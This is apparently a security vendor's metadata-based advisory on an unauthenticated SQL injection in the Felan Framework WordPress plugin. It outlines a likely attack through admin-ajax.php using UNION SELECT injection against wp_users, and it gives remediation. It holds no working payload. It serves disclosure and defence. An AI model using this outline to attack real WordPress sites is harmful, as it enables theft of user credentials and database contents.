Atomic Edge analysis of CVE-2025-23993 (metadata-based):
The Felan Framework plugin for WordPress, versions up to and including 1.1.3, contains an unauthenticated SQL injection vulnerability. This flaw exists due to insufficient input sanitization and a lack of prepared statements in a database query. Attackers can exploit this to extract sensitive information from the site’s database.
Atomic Edge research infers the root cause is improper neutralization of user input within an SQL command, as classified by CWE-89. The vulnerability description confirms insufficient escaping and lack of query preparation. Without a code diff, the exact vulnerable function is unknown, but the pattern suggests a direct concatenation of user-supplied parameters into an SQL query string, likely within a public-facing AJAX handler or REST endpoint.
Exploitation likely occurs via a POST or GET request to a WordPress AJAX endpoint, such as `/wp-admin/admin-ajax.php`. The request would contain an `action` parameter corresponding to a plugin-specific hook, like `felan_framework_action`, and a vulnerable parameter. An attacker could inject SQL payloads, such as a UNION SELECT, to extract data from the `wp_users` table. The unauthenticated nature indicates missing or broken capability checks on the handler.
Effective remediation requires implementing proper input validation and using WordPress’s `$wpdb->prepare()` method for all SQL queries. The plugin should also enforce proper capability checks on any public-facing administrative handlers. These are standard fixes for SQL injection within the WordPress ecosystem.
Successful exploitation allows complete disclosure of information from the WordPress database. Attackers can extract user credentials, sensitive plugin data, and other confidential records. The CVSS vector indicates high confidentiality impact with no direct integrity or availability loss, aligning with a classic information disclosure SQL injection.
